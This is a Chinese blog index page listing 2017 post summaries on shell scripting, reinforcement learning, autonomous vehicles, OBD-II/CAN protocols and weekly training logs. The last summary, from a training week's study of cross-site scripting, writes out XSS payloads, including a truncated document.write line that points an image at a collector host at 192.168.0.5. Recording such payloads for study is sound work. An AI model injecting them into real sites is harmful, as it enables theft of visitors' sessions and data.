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2017年11月30日
[linux Tcmd] sh source
摘要: chmod +x test.sh ./test.sh source命令: source filepath/filename.sh ./filepath 功能:使当前shell读入路径为filepath的shell文件/filename.sh并依次执行文件中的所有语句 source filepath
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posted @ 2017-11-30 18:55 E-C-Ares
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2017年11月10日
hh
摘要: 3.5.1 终生学习(Lifelong Learning) 让姆 (1996) 提出了终生学习(Lifelong Learning, LL)的概念, 其中一个代理人可能会经历一系列任务。其他 (cf, 萨顿等 al., 2007) 后来把这个想法扩展到了 RL 的设置, 建议比一个代理在一个长时间内
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posted @ 2017-11-10 12:51 E-C-Ares
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2017年8月3日
推演论
摘要: 伴生关系是维持群体发展却阻碍群体发展速度的模式,发令枪一响,你不可能有时间去看对手>是怎么跑的,你只有一路狂奔。 即使是喜欢慢生活的人,良好的搜索能力以及知识快速排查能力也是必须的,能力与性格没什么关系。 即使觉得自己脑容量不够,也要吧学到的知识归纳整理,能分层的要分层,该加标签的加标签。三千弱水只
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posted @ 2017-08-03 14:39 E-C-Ares
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智能小车项目计划
摘要: 深度神经网络的自主学习能力是自动驾驶汽车开发的重要因素: 机器能够像人类一样, 逐步从经验中调整权重获得良好的驾驶技能. 困难在于, 驾驶过程中出现的问题难以从代码层面发现漏洞, 学习好的机器是个黑箱(被数据量包裹); 对自动驾驶汽车而言, 这种“不透明性”造成的后果非常严重: 无人车犯错了,按正常
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posted @ 2017-08-03 08:57 E-C-Ares
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2017年7月31日
[CATARC_2017S] Week2
摘要: CAN 最新的OBD-II标准SAE J1979中描述了10种操作模式。它们如下: 7DF 7E0 7E8 PID |RE| Details Min Max Uni Figure 00 4 PID支持[01 - 20] 位编码[A7..D0] == [PID $ 01..PID $ 20] 见下文
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posted @ 2017-07-31 08:35 E-C-Ares
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2017年7月27日
[CATARCS_2017] Week 1
摘要: SAE J1939
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posted @ 2017-07-27 15:47 E-C-Ares
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2017年7月20日
[CATARC_2017S] Week 0
摘要: https://e-c-ares.github.io/ e-c-ares not formal TBOX 车联网系统: 主机\ 车载TBOX\ 手机APP\ TSP后台System 远程控制流程: 用户通过 手机APP 发送控制命令 -> TSP后台发出监控请求指令到车载T-box -> 车辆在获取
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posted @ 2017-07-20 16:24 E-C-Ares
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2017年6月27日
[CATARC_2017] 第八周
摘要: 实训收尾 最终项目!
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posted @ 2017-06-27 13:04 E-C-Ares
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[CATARC_2017] 第七周
摘要: 复习; 新的网站 工信部...;
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posted @ 2017-06-27 13:01 E-C-Ares
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[CATARC_2017] 第六周
摘要: 第一天 (6.12) 集体复习 HaHa 第二天 (6.13) 视频自预习习XSS跨站脚本攻击 Input: <script>alert(/xss/)<script> Input: <script>document.write('<img src="http://192.168.0.5/Accept
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posted @ 2017-06-27 12:58 E-C-Ares
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